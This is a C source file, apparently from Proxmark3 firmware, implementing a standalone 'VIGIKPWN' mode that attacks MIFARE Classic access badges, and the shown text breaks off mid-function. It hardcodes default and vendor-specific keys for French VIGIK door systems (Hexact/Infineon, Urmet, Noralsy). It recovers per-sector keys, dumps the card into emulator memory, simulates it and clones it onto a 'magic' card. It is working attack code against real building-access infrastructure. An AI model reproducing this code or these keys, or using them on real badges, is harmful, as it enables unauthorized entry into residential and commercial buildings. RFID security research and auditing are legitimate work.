mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2025-02-14 03:03:14 +08:00
767 lines
33 KiB
C
767 lines
33 KiB
C
//-----------------------------------------------------------------------------
|
||
// Colin Brigato, 2016,2017
|
||
// Christian Herrmann, 2017
|
||
//
|
||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||
// the license.
|
||
//-----------------------------------------------------------------------------
|
||
// main code for HF Mifare aka ColinRun by Colin Brigato
|
||
//-----------------------------------------------------------------------------
|
||
#include "hf_colin.h"
|
||
|
||
#define MF1KSZ 1024
|
||
#define MF1KSZSIZE 64
|
||
#define FALSE false
|
||
#define TRUE true
|
||
#define AUTHENTICATION_TIMEOUT 848
|
||
|
||
uint8_t cjuid[10];
|
||
uint32_t cjcuid;
|
||
|
||
// Colin's VIGIKPWN sniff/simulate/clone repeat routine for HF Mifare
|
||
void RunMod() {
|
||
|
||
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
|
||
|
||
// bool printKeys = false;
|
||
// bool simulation = true; // Simulates an exact copy of the target tag
|
||
// bool fillFromEmulator = true; // Dump emulator memory.
|
||
|
||
// We should get rid of this sh;
|
||
|
||
// uint8_t blockNo = 3; // Security block is number 3 for each sector.
|
||
uint8_t sectorsCnt = (MF1KSZ / MF1KSZSIZE);
|
||
uint64_t key64; // Defines current key
|
||
uint8_t *keyBlock = NULL; // Where the keys will be held in memory.
|
||
|
||
/*
|
||
Set of keys to be used.
|
||
This should cover ~98% of
|
||
French VIGIK system @2017
|
||
*/
|
||
/* know number of known keys for standalone mode */
|
||
//#define STKEYS 35
|
||
#define STKEYS 35
|
||
|
||
const uint64_t mfKeys[STKEYS] = {
|
||
0xffffffffffff, // TRANSPORTS
|
||
0x000000000000, // Blankkey
|
||
0x484558414354, // INFINEONON A / 0F SEC B
|
||
0x414c41524f4e, // ALARON NORALSY
|
||
0x424c41524f4e, // BLARON NORALSY
|
||
0x8829da9daf76, // URMET CAPTIV IF A => ALL A/B
|
||
0xb0b1b2b3b4b5, // NA
|
||
0xaabbccddeeff, // NA
|
||
0x4d3a99c351dd, // NA
|
||
0x1a982c7e459a, // NA
|
||
0xd3f7d3f7d3f7, // NA
|
||
0x714c5c886e97, // NA
|
||
0x587ee5f9350f, // NA
|
||
0xa0478cc39091, // NA
|
||
0x533cb6c723f6, // NA
|
||
0x8fd0a4f256e9, // NA
|
||
0xa0a1a2a3a4a5, // PUBLIC BLOC0 BTICINO MAD ACCESS
|
||
0x021209197591, // BTCINO UNDETERMINED SPREAKD 0x01->0x13 key
|
||
0xa22ae129c013, // INFINEON B 00
|
||
0x49fae4e3849f, // INFINEON B 01
|
||
0x38fcf33072e0, // INFINEON B 02
|
||
0x8ad5517b4b18, // INFINEON B 03
|
||
0x509359f131b1, // INFINEON B 04
|
||
0x6c78928e1317, // INFINEON B 05
|
||
0xaa0720018738, // INFINEON B 06
|
||
0xa6cac2886412, // INFINEON B 07
|
||
0x62d0c424ed8e, // INFINEON B 08
|
||
0xe64a986a5d94, // INFINEON B 09
|
||
0x8fa1d601d0a2, // INFINEON B 0A
|
||
0x89347350bd36, // INFINEON B 0B
|
||
0x66d2b7dc39ef, // INFINEON B 0C
|
||
0x6bc1e1ae547d, // INFINEON B 0D
|
||
0x22729a9bd40f // INFINEON B 0E
|
||
};
|
||
|
||
/* Can remember something like that in case of Bigbuf */
|
||
keyBlock = BigBuf_malloc(STKEYS * 6);
|
||
int mfKeysCnt = sizeof(mfKeys) / sizeof(uint64_t);
|
||
|
||
for (int mfKeyCounter = 0; mfKeyCounter < mfKeysCnt; mfKeyCounter++) {
|
||
num_to_bytes(mfKeys[mfKeyCounter], 6, (uint8_t *)(keyBlock + mfKeyCounter * 6));
|
||
}
|
||
|
||
/* TODO : remember why we actually had need to initialize this array in such specific case
|
||
and why not a simple memset abuse to 0xffize the whole space in one go ? */
|
||
// uint8_t foundKey[2][40][6]; //= [ {0xff} ]; /* C99 abusal 6.7.8.21 */
|
||
|
||
uint8_t foundKey[2][40][6];
|
||
for (uint16_t t = 0; t < 2; t++) {
|
||
for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) {
|
||
// validKey[t][sectorNo] = false;
|
||
for (uint16_t i = 0; i < 6; i++) {
|
||
foundKey[t][sectorNo][i] = 0xff;
|
||
}
|
||
}
|
||
}
|
||
|
||
int key = -1;
|
||
// int block = 0;
|
||
bool err = 0;
|
||
bool trapped = 0;
|
||
bool allKeysFound = true;
|
||
|
||
uint32_t size = mfKeysCnt; /* what’s the point for copy ? int should be
|
||
uint32_t in this case, same deal */
|
||
LED_A_OFF();
|
||
LED_B_OFF();
|
||
LED_C_OFF();
|
||
LED_D_OFF();
|
||
LED_A_ON();
|
||
|
||
Dbprintf("%s>>%s C.J.B's MifareFastPwn Started", _RED_, _WHITE_);
|
||
Dbprintf("...Waiting For Tag...");
|
||
iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN);
|
||
while (!iso14443a_select_card(cjuid, NULL, &cjcuid, true, 0, true)) {
|
||
WDT_HIT();
|
||
}
|
||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||
// SpinDelay(100);
|
||
SpinDelay(200);
|
||
|
||
// Dbprintf("Got tag : %02x%02x%02x%02x", at91stdio_explode(cjuid, &cjcuid));
|
||
Dbprintf("Got tag : %02x%02x%02x%02x", cjuid[0], cjuid[1], cjuid[2], cjuid[3]);
|
||
|
||
uint32_t end_time;
|
||
uint32_t start_time = end_time = GetTickCount();
|
||
|
||
/////////////////////////////////////////////////////////
|
||
// WE SHOULD FIND A WAY TO GET UID TO AVOID THIS "TESTRUN"
|
||
|
||
// HERE IS TO BE THOUGHT AS ONLY A KEY SHOULD BE CHECK
|
||
// THEN WE FILL EMULATOR WITH KEY
|
||
// WHEN WE FILL EMULATOR CARD WITH A KEY
|
||
// IF THERE IS ANY FAIL DURING ANY POINT, WE START BACK CHECKING B KEYS
|
||
// THEN FILL EMULATOR WITH B KEEY
|
||
// THEN EMULATOR WITH CARD WITH B KEY
|
||
// IF IT HAS FAILED OF ANY OF SORT THEN WE ARE MARRON LIKE POMALO.
|
||
|
||
// AN EVEN BETTER IMPLEMENTATION IS TO CHECK EVERY KEY FOR SECTOR 0 KEY A
|
||
// THEN IF FOUND CHECK THE SAME KEY FOR NEXT SECTOR ONLY KEY A
|
||
// THEN IF FAIL CHECK EVERY SECTOR A KEY FOR EVERY OTHER KEY BUT NOT THE BLOCK
|
||
// 0 KEY
|
||
// THEN TRY TO READ B KEYS FROM KNOWN A KEYS
|
||
// IF FAIL, CHECK SECTOR 0 B KEY WITH SECTOR 0 A KEY
|
||
// THEN IF FOUND CHECK EVERY SECTOR FOR SAME B KEY
|
||
// ELSE IF FAIL CHECK EVERY KEY FOR SECTOR 0 KEY B
|
||
// THEN IF FOUND CHECK SAME KEY FOR ONLY NEXT SECTOR KEY B (PROBABLE A KEY IS
|
||
// SAME FOR EVERY SECTOR AND B KEY IS SAME FOR EVERY SECTOR WITH JUST A vs B
|
||
// DERIVATION
|
||
// THEN IF B KEY IS NOT OF THIS SCHEME CHECK EVERY REMAINING B KEYED SECTOR
|
||
// WITH EVERY REMAINING KEYS, BUT DISCARDING ANY DEFAULT TRANSPORT KEYS.
|
||
/////////////////////////////////////////////////////
|
||
|
||
// also we could avoid first UID check for every block
|
||
|
||
/* then let’s expose this “optimal case” of “well known vigik schemes” : */
|
||
for (uint8_t type = 0; type < 2 && !err && !trapped; type++) {
|
||
for (int sec = 0; sec < sectorsCnt && !err && !trapped; ++sec) {
|
||
key = cjat91_saMifareChkKeys(sec * 4, type, NULL, size, &keyBlock[0], &key64);
|
||
// key = saMifareChkKeys(sec * 4, type, NULL, size, &keyBlock[0], &key64);
|
||
if (key == -1) {
|
||
err = 1;
|
||
allKeysFound = false;
|
||
/* used in “portable” imlementation on microcontroller: it reports back the fail and open the standalone lock */
|
||
// cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0);
|
||
break;
|
||
} else if (key == -2) {
|
||
err = 1; // Can't select card.
|
||
allKeysFound = false;
|
||
// cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0);
|
||
break;
|
||
} else {
|
||
/* BRACE YOURSELF : AS LONG AS WE TRAP A KNOWN KEY, WE STOP CHECKING AND ENFORCE KNOWN SCHEMES */
|
||
uint8_t tosendkey[12];
|
||
num_to_bytes(key64, 6, foundKey[type][sec]);
|
||
Dbprintf("SEC: %d ; KEY : %012" PRIx64 " ; TYP: %i", sec, key64, type);
|
||
/*cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sec, type, tosendkey, 12);*/
|
||
|
||
switch (key64) {
|
||
/////////////////////////////////////////////////////////
|
||
// COMMON SCHEME 1 : INFINITRON/HEXACT
|
||
case 0x484558414354:
|
||
Dbprintf("%s>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%s", _RED_, _WHITE_);
|
||
Dbprintf(" .TAG SEEMS %sDETERMINISTIC%s. ", _GREEN_, _WHITE_);
|
||
Dbprintf("%sDetected: %s INFI_HEXACT_VIGIK_TAG%s", _ORANGE_, _CYAN_, _WHITE_);
|
||
Dbprintf("...%s[%sKey_derivation_schemeTest%s]%s...", _YELLOW_, _GREEN_, _YELLOW_, _GREEN_);
|
||
Dbprintf("%s>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%s", _GREEN_, _WHITE_);
|
||
;
|
||
// Type 0 / A first
|
||
uint16_t t = 0;
|
||
for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) {
|
||
num_to_bytes(0x484558414354, 6, foundKey[t][sectorNo]);
|
||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||
}
|
||
t = 1;
|
||
uint16_t sectorNo = 0;
|
||
num_to_bytes(0xa22ae129c013, 6, foundKey[t][sectorNo]);
|
||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||
sectorNo = 1;
|
||
num_to_bytes(0x49fae4e3849f, 6, foundKey[t][sectorNo]);
|
||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||
sectorNo = 2;
|
||
num_to_bytes(0x38fcf33072e0, 6, foundKey[t][sectorNo]);
|
||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||
sectorNo = 3;
|
||
num_to_bytes(0x8ad5517b4b18, 6, foundKey[t][sectorNo]);
|
||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||
sectorNo = 4;
|
||
num_to_bytes(0x509359f131b1, 6, foundKey[t][sectorNo]);
|
||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||
sectorNo = 5;
|
||
num_to_bytes(0x6c78928e1317, 6, foundKey[t][sectorNo]);
|
||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||
sectorNo = 6;
|
||
num_to_bytes(0xaa0720018738, 6, foundKey[t][sectorNo]);
|
||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||
sectorNo = 7;
|
||
num_to_bytes(0xa6cac2886412, 6, foundKey[t][sectorNo]);
|
||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||
sectorNo = 8;
|
||
num_to_bytes(0x62d0c424ed8e, 6, foundKey[t][sectorNo]);
|
||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||
sectorNo = 9;
|
||
num_to_bytes(0xe64a986a5d94, 6, foundKey[t][sectorNo]);
|
||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||
sectorNo = 10;
|
||
num_to_bytes(0x8fa1d601d0a2, 6, foundKey[t][sectorNo]);
|
||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||
sectorNo = 11;
|
||
num_to_bytes(0x89347350bd36, 6, foundKey[t][sectorNo]);
|
||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||
sectorNo = 12;
|
||
num_to_bytes(0x66d2b7dc39ef, 6, foundKey[t][sectorNo]);
|
||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||
sectorNo = 13;
|
||
num_to_bytes(0x6bc1e1ae547d, 6, foundKey[t][sectorNo]);
|
||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||
sectorNo = 14;
|
||
num_to_bytes(0x22729a9bd40f, 6, foundKey[t][sectorNo]);
|
||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||
sectorNo = 15;
|
||
num_to_bytes(0x484558414354, 6, foundKey[t][sectorNo]);
|
||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||
trapped = 1;
|
||
break;
|
||
////////////////END OF SCHEME 1//////////////////////////////
|
||
|
||
///////////////////////////////////////
|
||
// COMMON SCHEME 2 : URMET CAPTIVE / COGELEC!/?
|
||
case 0x8829da9daf76:
|
||
Dbprintf("%s>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%s", _RED_, _WHITE_);
|
||
Dbprintf(" .TAG SEEMS %sDETERMINISTIC%s. ", _GREEN_, _WHITE_);
|
||
Dbprintf("%sDetected :%sURMET_CAPTIVE_VIGIK_TAG%s", _ORANGE_, _CYAN_, _WHITE_);
|
||
Dbprintf("...%s[%sKey_derivation_schemeTest%s]%s...", _YELLOW_, _GREEN_, _YELLOW_, _GREEN_);
|
||
Dbprintf("%s>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%s", _GREEN_, _WHITE_);
|
||
// emlClearMem();
|
||
// A very weak one...
|
||
for (uint16_t t = 0; t < 2; t++) {
|
||
for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) {
|
||
num_to_bytes(key64, 6, foundKey[t][sectorNo]);
|
||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||
}
|
||
}
|
||
trapped = 1;
|
||
break;
|
||
////////////////END OF SCHEME 2//////////////////////////////
|
||
|
||
///////////////////////////////////////
|
||
// COMMON SCHEME 3 : NORALSY "A-LARON & B-LARON . . . NORAL-B & NORAL-A"
|
||
case 0x414c41524f4e: // Thumbs up to the guy who had the idea of such a "mnemotechnical" key pair
|
||
case 0x424c41524f4e:
|
||
Dbprintf("%s>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%s", _RED_, _WHITE_);
|
||
Dbprintf(" .TAG SEEMS %sDETERMINISTIC%s. ", _GREEN_, _WHITE_);
|
||
Dbprintf("%s Detected :%sNORALSY_VIGIK_TAG %s", _ORANGE_, _CYAN_, _WHITE_);
|
||
Dbprintf("...%s[%sKey_derivation_schemeTest%s]%s...", _YELLOW_, _GREEN_, _YELLOW_, _GREEN_);
|
||
Dbprintf("%s>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%s", _GREEN_, _WHITE_);
|
||
;
|
||
t = 0;
|
||
for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) {
|
||
num_to_bytes(0x414c41524f4e, 6, foundKey[t][sectorNo]);
|
||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||
;
|
||
}
|
||
t = 1;
|
||
for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) {
|
||
num_to_bytes(0x424c41524f4e, 6, foundKey[t][sectorNo]);
|
||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||
Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||
}
|
||
trapped = 1;
|
||
break;
|
||
////////////////END OF SCHEME 3//////////////////////////////
|
||
}
|
||
/* etc etc for testing schemes quick schemes */
|
||
}
|
||
}
|
||
}
|
||
|
||
if (!allKeysFound) {
|
||
// cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0);
|
||
Dbprintf("%s>> FAIL : did not found all the keys :'(%s", _RED_, _WHITE_);
|
||
return;
|
||
}
|
||
|
||
/* Settings keys to emulator */
|
||
emlClearMem();
|
||
uint8_t mblock[16];
|
||
for (uint8_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) {
|
||
emlGetMem(mblock, FirstBlockOfSector(sectorNo) + NumBlocksPerSector(sectorNo) - 1, 1);
|
||
for (uint8_t t = 0; t < 2; t++) {
|
||
memcpy(mblock + t * 10, foundKey[t][sectorNo], 6);
|
||
}
|
||
emlSetMem(mblock, FirstBlockOfSector(sectorNo) + NumBlocksPerSector(sectorNo) - 1, 1);
|
||
}
|
||
Dbprintf("%s>>%s Setting Keys->Emulator MEM...[%sOK%s]", _YELLOW_, _WHITE_, _GREEN_, _WHITE_);
|
||
|
||
/* filling TAG to emulator */
|
||
uint8_t filled = 0;
|
||
Dbprintf("%s>>%s Filling Emulator <- from A keys...", _YELLOW_, _WHITE_);
|
||
e_MifareECardLoad(sectorsCnt, 0, 0, &filled);
|
||
if (filled != 1) {
|
||
Dbprintf("%s>>%s W_FAILURE ! %sTrying fallback B keys....", _RED_, _ORANGE_, _WHITE_);
|
||
|
||
/* no trace, no dbg */
|
||
e_MifareECardLoad(sectorsCnt, 1, 0, &filled);
|
||
if (filled != 1) {
|
||
Dbprintf("FATAL:EML_FALLBACKFILL_B");
|
||
// cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0);
|
||
return;
|
||
}
|
||
}
|
||
end_time = GetTickCount();
|
||
Dbprintf("%s>>%s Time for VIGIK break :%s%dms%s", _GREEN_, _WHITE_, _YELLOW_, end_time - start_time, _WHITE_);
|
||
// cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0);
|
||
|
||
// SIM ?
|
||
Dbprintf("-> We launch Emulation ->");
|
||
Dbprintf("%s HOLD ON : %s When you'll click, simm will stop", _RED_, _WHITE_);
|
||
Dbprintf("Then %s immediately %s Well' try to %s dump our emulator state%s in a %s chinese tag%s", _RED_, _WHITE_, _YELLOW_, _WHITE_, _CYAN_, _WHITE_);
|
||
Dbprintf("SimulaWaiting...");
|
||
Mifare1ksim(0, 0, 0, NULL);
|
||
Dbprintf("<- We're out of Emulation");
|
||
// END SIM
|
||
|
||
/*for (;;) {
|
||
WDT_HIT();
|
||
|
||
int button_action = BUTTON_HELD(500);
|
||
if (button_action == 0) { // No button action, proceed with sim
|
||
SpinDelay(100);
|
||
WDT_HIT();
|
||
|
||
} else if (button_action == BUTTON_SINGLE_CLICK) {
|
||
*/
|
||
|
||
Dbprintf("Trying a clone !");
|
||
saMifareMakeTag();
|
||
Dbprintf("End Cloning.");
|
||
WDT_HIT();
|
||
|
||
// break;
|
||
/*} else if (button_action == BUTTON_HOLD) {
|
||
Dbprintf("Playtime over. Begin cloning...");
|
||
iGotoClone = 1;
|
||
break;
|
||
}*/
|
||
|
||
// Debunk...
|
||
// SpinDelay(300);
|
||
Dbprintf("Endof Standalone ! You can take shell back");
|
||
|
||
return;
|
||
}
|
||
|
||
/*
|
||
case CMD_SIMULATE_MIFARE_CARD:
|
||
Dbprintf("-> We launch Emulation ->");
|
||
Mifare1ksim(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes);
|
||
Dbprintf("<- We're out of Emulation");
|
||
break;
|
||
case CMD_CJB_EML_MEMGET:
|
||
CJBEMemGet(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes);
|
||
break;
|
||
|
||
// Work with "magic Chinese" card
|
||
case CMD_MIFARE_CSETBLOCK:
|
||
MifareCSetBlock(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes);
|
||
break;
|
||
case CMD_MIFARE_CGETBLOCK:
|
||
MifareCGetBlock(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes);
|
||
break;
|
||
case CMD_MIFARE_CIDENT:
|
||
MifareCIdent();
|
||
break;
|
||
// Work with "magic Chinese" card
|
||
case CMD_MIFARE_CSETBLOCK:
|
||
MifareCSetBlock(c->arg[0], c->arg[1], c->d.asBytes);
|
||
break;
|
||
case CMD_MIFARE_CGETBLOCK:
|
||
MifareCGetBlock(c->arg[0], c->arg[1], c->d.asBytes);
|
||
break;
|
||
case CMD_MIFARE_CIDENT:
|
||
MifareCIdent();
|
||
break;
|
||
*/
|
||
|
||
/* Abusive microgain on original MifareECardLoad :
|
||
* - *datain used as error return
|
||
* - tracing is falsed
|
||
*/
|
||
void e_MifareECardLoad(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) {
|
||
MF_DBGLEVEL = MF_DBG_NONE;
|
||
|
||
uint8_t numSectors = arg0;
|
||
uint8_t keyType = arg1;
|
||
uint64_t ui64Key = 0;
|
||
// uint32_t cuid;
|
||
struct Crypto1State mpcs = {0, 0};
|
||
struct Crypto1State *pcs;
|
||
pcs = &mpcs;
|
||
|
||
byte_t dataoutbuf[16];
|
||
byte_t dataoutbuf2[16];
|
||
// uint8_t uid[10];
|
||
|
||
LED_A_ON();
|
||
LED_B_OFF();
|
||
LED_C_OFF();
|
||
iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN);
|
||
|
||
clear_trace();
|
||
set_tracing(false);
|
||
|
||
bool isOK = true;
|
||
iso14443a_fast_select_card(cjuid, 0);
|
||
|
||
/* if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) {
|
||
isOK = false;
|
||
if (MF_DBGLEVEL >= 1)
|
||
Dbprintf("Can't select card");
|
||
}*/
|
||
|
||
for (uint8_t sectorNo = 0; isOK && sectorNo < numSectors; sectorNo++) {
|
||
ui64Key = emlGetKey(sectorNo, keyType);
|
||
if (sectorNo == 0) {
|
||
if (isOK && mifare_classic_auth(pcs, cjcuid, FirstBlockOfSector(sectorNo), keyType, ui64Key, AUTH_FIRST)) {
|
||
isOK = false;
|
||
if (MF_DBGLEVEL >= 1)
|
||
Dbprintf("Sector[%2d]. Auth error", sectorNo);
|
||
break;
|
||
}
|
||
} else {
|
||
if (isOK && mifare_classic_auth(pcs, cjcuid, FirstBlockOfSector(sectorNo), keyType, ui64Key, AUTH_NESTED)) {
|
||
isOK = false;
|
||
if (MF_DBGLEVEL >= 1)
|
||
Dbprintf("Sector[%2d]. Auth nested error", sectorNo);
|
||
break;
|
||
}
|
||
}
|
||
|
||
for (uint8_t blockNo = 0; isOK && blockNo < NumBlocksPerSector(sectorNo); blockNo++) {
|
||
if (isOK && mifare_classic_readblock(pcs, cjcuid, FirstBlockOfSector(sectorNo) + blockNo, dataoutbuf)) {
|
||
isOK = false;
|
||
if (MF_DBGLEVEL >= 1)
|
||
Dbprintf("Error reading sector %2d block %2d", sectorNo, blockNo);
|
||
break;
|
||
};
|
||
if (isOK) {
|
||
*datain = 1;
|
||
if (blockNo < NumBlocksPerSector(sectorNo) - 1) {
|
||
emlSetMem(dataoutbuf, FirstBlockOfSector(sectorNo) + blockNo, 1);
|
||
} else { // sector trailer, keep the keys, set only the AC
|
||
emlGetMem(dataoutbuf2, FirstBlockOfSector(sectorNo) + blockNo, 1);
|
||
memcpy(&dataoutbuf2[6], &dataoutbuf[6], 4);
|
||
emlSetMem(dataoutbuf2, FirstBlockOfSector(sectorNo) + blockNo, 1);
|
||
}
|
||
} else {
|
||
*datain = 0;
|
||
}
|
||
}
|
||
}
|
||
|
||
if (mifare_classic_halt(pcs, cjcuid)) {
|
||
if (MF_DBGLEVEL >= 1)
|
||
Dbprintf("Halt error");
|
||
};
|
||
|
||
// ----------------------------- crypto1 destroy
|
||
crypto1_destroy(pcs);
|
||
|
||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||
LEDsoff();
|
||
|
||
if (MF_DBGLEVEL >= 2)
|
||
DbpString("EMUL FILL SECTORS FINISHED");
|
||
}
|
||
|
||
/* . . . */
|
||
|
||
/* the chk function is a piwi’ed(tm) check that will try all keys for
|
||
a particular sector. also no tracing no dbg */
|
||
|
||
int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, uint8_t keyCount, uint8_t *datain, uint64_t *key) {
|
||
MF_DBGLEVEL = MF_DBG_NONE;
|
||
